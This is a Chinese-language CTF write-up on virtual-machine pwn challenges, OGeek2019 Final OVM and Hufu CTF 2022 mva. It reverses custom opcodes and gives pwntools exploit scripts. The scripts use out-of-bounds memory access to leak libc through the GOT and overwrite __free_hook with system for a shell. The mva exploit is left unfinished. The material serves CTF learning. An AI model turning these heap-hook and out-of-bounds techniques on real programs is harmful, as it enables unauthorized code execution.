VMPwn
VMPwn
VMPwn 一般是程序实现了一个虚拟机,定义了一些 opcode,对用户输入指定格式的 opcode 进行解析,然后执行,这类题目一般是越界导致任意地址的读写,修改函数指针进而 getshell
感觉这类题,和题目交互的逻辑以及格式都得逆很久才能理解...
[OGeek2019 Final]OVM
题目:https://buuoj.cn/challenges#[OGeek2019%20Final]OVM
主要的逻辑在 execute 这个函数里面,前面就是让输入了 PC、SP 寄存器的值,要执行的 code 的大小和内容
梳理所有的功能:
输入的Opcode含义格式如下:最高位是区分指令的,往后的高中低是用来作为操作数的
0x10:寄存器置为最低位,reg[高] = 低
0x20:寄存器置零,reg[高] = 0
0x30:从内存拷贝到寄存器,reg[高] = memory[reg[低]]
0x40:从寄存器拷贝到内存,memory[reg[低]] = reg[高]
0x50:入栈,push reg[高]
0x60:出栈,pop reg[高]
0x70:加法,reg[高] = reg[低] + reg[中]
0x80:减法,reg[高] = reg[中] - reg[低]
0x90:与运算,reg[高] = reg[低] & reg[中]
0xA0:或运算,reg[高] = reg[低] | reg[中]
0xB0:异或,reg[高] = reg[低] ^ reg[中]
0xC0:左移:reg[高] = reg[中] << reg[低]
0xD0:右移,reg[高] = (int)reg[中] >> reg[低]
0xE0:退出,当reg[13]也就是sp不为0时可打印寄存器reg[0]到reg[15]信息
[X]0xFF:打印寄存器reg[0]到reg[15]信息
发送的数据格式是啥?前面的倒是正常输入就行,后面的 code 格式是啥,code 通过一个循环进行输入,输入的次数就是前面输入的 code size,每次输入的都是一个整型的数
(而且这里会检查你的最高位是不是 0xFF,如果是的话就会直接给你赋值为 0xE0,因此想要使用 0xFF 直接打印寄存器是走不通的)
尝试按照如下格式,倒是没啥问题,可以执行:
#coding=utf-8
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p = process("./pwn")
#gdb.attach(p, "b *0x0000555555554CF9")
#pause()
code = [0x10020003,0x100D0003,0xE0000000] #设置reg[2]为3,设置reg[13]也就是sp为3,E0退出并打印寄存器信息
p.sendlineafter("PCPC: ","0")
p.sendlineafter("SP: ","0")
p.sendlineafter("CODE SIZE: ",str(len(code)))
p.recvuntil("CODE: ")
for i in range(len(code)):
p.send(str(code[i]))
p.send("\n")
p.sendlineafter("HOW DO YOU FEEL AT OVM?","yichen")
p.interactive()
然后来考虑怎么利用,题目中对 memory 和 reg 的索引都是通过我们输入的下标来完成的,reg 还好说,没有定义的 reg 写了也没啥用,但是 memory 是和程序本身的内存在一块的,因此如果可以控制 memory 到程序本身的内存中实际可以完成任意地址的读写
首先来完成写操作,内存在 BSS 段中起始地址:0x202060,大小:0x10000,通过以下指令将寄存器 1 中的数据写到了内存 menory[reg[3]] 中
code = [
0x20030000, #寄存器3设置为0
0x100100AA, #寄存器1设置为AA
0x100200BB, #寄存器2设置为BB
0x10030003, #寄存器3设置为3
0x40010003, #寄存器1拷贝到memory[reg[3]]
0x100D0003, #寄存器13设置为3 避免直接退出
0xE0000000, #退出并打印寄存器信息
]
不知道为啥,总是会把我要用的寄存器加 1,我置零也不管用,就直接赋值了
尝试通过任意地址写把寄存器的值赋到非 memory 的位置(R1 赋到了 memory[-1])
code = [
0x20030000, #寄存器3设置为0
0x10040002, #寄存器4设置为2
0x80030304, #寄存器3减2 因为不知道为啥会自己+1
0x100100AA, #寄存器1设置为AA
0x100200BB, #寄存器2设置为BB
0x40010003, #寄存器1拷贝到memory[reg[3]]
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
再试一下任意地址读 memory[-8] 读到 R1(0x60-0x40=0x20,0x20/0x4=8)
code = [
0x20030000, #寄存器3设置为0
0x10040009, #寄存器4设置为9
0x80030304, #寄存器3减9 因为不知道为啥会自己+1
0x30010003, #memory[reg[3]]拷贝到寄存器1
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
到这里读写就完成了,接下来就是怎么利用了
bss + 0x202040 comment
bss + 0x202060 memory
bss + 0x242060 reg
看了 wp,comment 在结束的时候会 free 掉,如果把 free_hook 改为 system,把 comment 指向的内容改为 "/bin/sh" 即可
关键这些位置在什么地方呢,妈的他们都知道,就是不写怎么算的 Orz...
在 bss 段上面有一个 got 表,其中 write 函数的偏移地址是:0x201F88 距离 memory 偏移 D8,D8/4=36,所以直接减去 37 就可以把 write 函数的低四位放到 R1 寄存器中,减去 38 把 write 函数的高四位放到 R2 寄存器中
code = [
0x20030000, #寄存器3设置为0
0x10040037, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30010003, #memory[reg[3]]拷贝到寄存器1
0x20030000, #寄存器3设置为0
0x10040038, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30020003, #memory[reg[3]]拷贝到寄存器2
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
0x7FFFF7B043B0,后面调用的,free_hook 函数地址应该是这么看吧,偏移为:0x2cf3f8,试了几次这个是固定的,但是不知道在平台上是不是固定的 Orz...
那么问题来了,如何把 R2 R1 中存的 write 函数的地址减去一个偏移得到 free_hook 的地址呢,其实前面的 R2 都不用动,这个地址太大了,直接把 R1 减去 0x2cf3f8 就行
code = [
0x20030000, #寄存器3设置为0
0x10040037, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30010003, #memory[reg[3]]拷贝到寄存器1
0x20030000, #寄存器3设置为0
0x10040038, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30020003, #memory[reg[3]]拷贝到寄存器2
0x10060008, #寄存器6设置为8 用作左移的单位
0x1005002c, #寄存器5设置为2c
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f3, #寄存器7设置为f3
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f8, #寄存器7设置为f8
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3f8
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
free hook 改为什么呢,system 函数?距离 write 函数相差 0xb2010,也就是减完之后要再加回来 0x2cf3f8-0xb2010=0x21d3e8
code = [
0x20030000, #寄存器3设置为0
0x10040037, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30010003, #memory[reg[3]]拷贝到寄存器1
0x20030000, #寄存器3设置为0
0x10040038, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30020003, #memory[reg[3]]拷贝到寄存器2
0x10060008, #寄存器6设置为8 用作左移的单位
0x1005002c, #寄存器5设置为2c
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f3, #寄存器7设置为f3
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f8, #寄存器7设置为f8
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3f8
0x80010105, #reg[1]=reg[1]-reg[5] 此时r2 r1存放free_hook地址
0x10080021, #寄存器8设置为21
0xc0080506, #reg[8]=reg[8]<<reg[6] 左移8位
0x100700d3, #寄存器7设置为d3
0x70080807, #reg[8]=reg[7]+reg[8] #此时reg[8]是21d3
0xc0080506, #reg[8]=reg[8]<<reg[6] 左移8位
0x100700e8, #寄存器7设置为e8
0x70080807, #reg[8]=reg[7]+reg[8] #此时reg[8]是21d3e8
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
到这又卡住了,我怎么往里写呢,这个地址在我寄存器里面,我只能通过数组的越界去写,而我通过 reg 来控制偏移到不了那么大的啊 Orz...
看了其他人的 WP 发现是通过控制 comment 实现的,comment 存了一个指针,通过修改这个指针到 free_hook 附近的任何地址,可以直接把 /bin/sh 写过去,顺便把 free_hook 给覆盖了,那么我们就把 comment 写成 free_hook - 8,这样最后 comment 的时候先发 /bin/sh 覆盖了 free_hook - 8,再发 system 把 free_hook 给覆盖了,然后 free 的时候就可以执行 system('/bin/sh') 了
comment 相对 memory 的偏移是:0x202060 - 0x202040 = 0x20,再除以 4 得到 8,另外因为原来的程序时
所以上一步计算 system 函数的过程没用了,也不用在寄存器倒腾偏移了😅
code = [
0x20030000, #寄存器3设置为0
0x10040037, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30010003, #memory[reg[3]]拷贝到寄存器1
0x20030000, #寄存器3设置为0
0x10040038, #寄存器4设置为38
0x80030304, #寄存器3减38 因为不知道为啥会自己+1
0x30020003, #memory[reg[3]]拷贝到寄存器2
0x50010000, #push r1
0x50020000, #push r2
0x10060008, #寄存器6设置为8 用作左移的单位
0x1005002c, #寄存器5设置为2c
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f3, #寄存器7设置为f3
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f0, #寄存器7设置为f0
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3f0
0x60020000, #pop r2
0x60010000, #pop r1
0x70010105, #reg[1]=reg[5]+reg[1] #得到free_hook-8地址
0x20030000, #寄存器3设置为0
0x10040009, #寄存器4设置为9
0x80030304, #寄存器3减9
0x40010003, #把r1拷贝到memory[reg[3]]
0x20030000, #寄存器3设置为0
0x10040008, #寄存器4设置为8
0x80030304, #寄存器3减8
0x40020003, #把r2拷贝到memory[reg[3]]
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
完整 EXP:
#coding=utf-8
# 0x202060 memory
# 0x202040 comment
# 0x201F88 write
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#gdb.attach(p, "b *0x0000555555554CF9")
#pause()
code = [
0x20030000, #寄存器3设置为0
0x10040037, #寄存器4设置为37
0x80030304, #寄存器3减37 因为不知道为啥会自己+1
0x30010003, #memory[reg[3]]拷贝到寄存器1
0x20030000, #寄存器3设置为0
0x10040038, #寄存器4设置为38
0x80030304, #寄存器3减38 因为不知道为啥会自己+1
0x30020003, #memory[reg[3]]拷贝到寄存器2
0x50010000, #push r1
0x50020000, #push r2
0x10060008, #寄存器6设置为8 用作左移的单位
0x1005002c, #寄存器5设置为2c
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f3, #寄存器7设置为f3
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3
0xc0050506, #reg[5]=reg[5]<<reg[6] 左移8位
0x100700f0, #寄存器7设置为f0
0x70050507, #reg[5]=reg[7]+reg[5] #此时reg[5]是2cf3f0
0x60020000, #pop r2
0x60010000, #pop r1
0x70010105, #reg[1]=reg[5]+reg[1] #得到free_hook-8地址
0x20030000, #寄存器3设置为0
0x10040009, #寄存器4设置为9
0x80030304, #寄存器3减9
0x40010003, #把r1拷贝到memory[reg[3]]
0x20030000, #寄存器3设置为0
0x10040008, #寄存器4设置为8
0x80030304, #寄存器3减8
0x40020003, #把r2拷贝到memory[reg[3]]
0x100D0003, #寄存器13设置为3
0xE0000000, #退出并打印寄存器信息
]
p.sendlineafter("PCPC: ","0")
p.sendlineafter("SP: ","0")
p.sendlineafter("CODE SIZE: ",str(len(code)))
p.recvuntil("CODE: ")
for i in range(len(code)):
p.send(str(code[i]))
p.send("\n")
p.recvuntil("R1: ")
free_hook_l = p.recv(8)
print(free_hook_l)
p.recvuntil("R2: ")
free_hook_h = p.recv(4)
print(free_hook_h)
free_hook = int(("0x" + free_hook_h + free_hook_l),16)
print(hex(free_hook))
libc_base = free_hook - 0x3c67a0
system = libc_base + libc.symbols['system']
payload = '/bin/sh\x00'+p64(system)
p.sendlineafter("HOW DO YOU FEEL AT OVM?",payload)
p.interactive()
【X】ciscn_2021_game
这题有点复杂,还不止是个虚拟机的题,还有些逻辑,还有些游戏逻辑, wp 写的很简略,以后再看
虎符CTF 2022 mva
这道题诡异得很,IDA 解析错了很多地方,先来看 v7 的赋值函数,这个函数是每次循环最先运行的,应该是取提取 opcode 的
进到函数里面,大体上看是一个转换字节序的操作,通过 dword_403C += 4 这条指令可以看出来,每条指令的长度有四字节
从这里可以得知,你输入的 opcode 会以四字节一组来解析,并且会转换大小端序,比如你输入的是 0xAABBCCDD,那么 0xDDCCBBAA 被赋值给了 v7
后面涉及到一些取值的问题,这里解析一下
假如输入的是:0xAABBCCDD
那么v7是:0xDDCCBBAA
其他值分别是:
v6 HIBYTE 0xDD
SBYTE2(v7) 0xCC
BYTE2(v7) 0xCC 不过这个是无符号数
SBYTE1(v7) 0xBB
(char)v7 0xAA
对于操作码 v5 来说不能大于 0xf,然后使用 switch 根据操作码来进行操作,另外 v10 是 reg 这个我想不出来,完全是看 wp 的,加减乘除这类运算还好说,push 和 pop 也想不出来:
1:reg[0xCC] = 0xDDCCBBAA
2:reg[0xCC] = reg[0xBB] + reg[0xAA]
3:reg[0xCC] = reg[0xBB] - reg[0xAA]
4:reg[0xCC] = reg[0xBB] & reg[0xAA]
5:reg[0xCC] = reg[0xBB] | reg[0xAA]
6:reg[0xCC] = reg[0xCC] >> reg[0xBB]
7:reg[0xCC] = reg[0xBB] ^ reg[0xAA]
8:?
9:push 0xDDCCBBAA
A:pop reg[0xCC]
B:
C:cmp reg[0xCC], reg[0xBB]
D:reg[0xCC] = reg[0xBB] * reg[0xAA] 这里没检查SBYTE1也就是0xBB这一位
E:reg[0xBB] = reg[0xCC] 这里对0xBB这一位的检查是无符号数检查
F:打印栈顶的值
这些里面检查机制也乱得很,有的只检查一个操作数,有的检查两个,有的是带符号数检查,有的是无符号数检查
利用主要集中在 0xD 和 0xE 这两个操作码上,接下来再理解一下数据格式,就是四字节一组,使用 p32 直接拼起来即可,最后直接使用 \x00 补全到 0x100 个字节
payload = p32(0x11223309)+p32(0x0f00000f)
payload += (0x100 - len(payload)) * b'\x00'
直接写 opcode 太难看了,还是封装成函数
def load(reg, val): # reg[reg]=val
command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
return command
def add(reg, op1, op2): # reg[reg]=reg[op1]+reg[op2]
command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
return command
def sub(reg, op1, op2): # reg[reg]=reg[op1]-reg[op2]
command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
return command
def mul(reg, op1, op2): # reg[reg]=reg[op1]*reg[op2]
command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
return command
def mov(reg, op1, op2): # reg[op1]=reg[op2]
command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
return command
def push(): # push reg[0]
command = p8(0x09) + p8(0) * 3
return command
def pop(): # pop reg[0]
command = p8(0x0A) + p8(0) * 3
return command
def view(): # print stack
command = p8(0xf) + p8(0) * 3
return command
def inverse(num): # 反转
return (~(num-1) & 0xFF)
有个问题是程序开启了 PIE,想要通过 GDB 下断点需要知道加载的基址,这时候可以用 $rebase(0x17DC) 自动获取基址,然后加上程序中的偏移断下来
gdb.attach(p,"b*$rebase(0x1368)")
pause()
接下来就是泄露 libc 基址、计算 one_gadget 地址、覆盖返回地址
先看泄露 libc 基址,首先来确定一下 reg 的地址在哪,通过 IDA 可以看到 v10 是在栈上的,是 rbp-21C,那么调试的时候看一下在附近的可能能泄露 libc 地址的偏移在什么地方,在 reg[-0x1C] 处,reg[-28]
写负数有些麻烦,不妨换一个,这里偏移为 0x34
payload 如下:
payload = load(0,1) # reg[0]=1
payload += mul(1,34,0) # reg[1]=reg[34]*reg[0]
payload += mul(2,35,0) # reg[2]=reg[35]*reg[0]
payload += mul(3,36,0) # reg[3]=reg[36]*reg[0]
payload += mul(4,37,0) # reg[3]=reg[37]*reg[0]
【X】EXP:
from pwn import *
context(os='linux',log_level='debug')
p = process('./mva')
def load(reg, val): # reg[reg]=val
command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
return command
def add(reg, op1, op2): # reg[reg]=reg[op1]+reg[op2]
command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
return command
def sub(reg, op1, op2): # reg[reg]=reg[op1]-reg[op2]
command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
return command
def mul(reg, op1, op2): # reg[reg]=reg[op1]*reg[op2]
command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
return command
def mov(reg, op1, op2): # reg[op1]=reg[op2]
command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
return command
def push(): # push reg[0]
command = p8(0x09) + p8(0) * 3
return command
def pop(): # pop reg[0]
command = p8(0x0A) + p8(0) * 3
return command
def view(): # print stack
command = p8(0xf) + p8(0) * 3
return command
def inverse(num): # 反转
return (~(num-1) & 0xFF)
payload = load(0,0x0000) # reg[0]=1
payload += load(1,0x1111) # reg[0]=1
payload += load(2,0x2222)
payload += load(3,0x3333)
payload += load(4,0x4444) # reg[0]=1
#payload += mul(4,inverse(28),0) # reg[1]=reg[-28]*reg[0]
#payload += mul(2,inverse(27),0) # reg[2]=reg[-27]*reg[0]
#payload += mul(3,inverse(26),0) # reg[3]=reg[-26]*reg[0]
#payload += mul(4,inverse(25),0) # reg[3]=reg[-25]*reg[0]
payload += (0x100 - len(payload)) * b'\x00'
gdb.attach(p,"b *$rebase(0x1421)")
pause()
p.sendafter("input your code now :",payload)
p.interactive()
参考:
虎符CTF-2022 mva 题解_2022 虎符 pwn mva-CSDN博客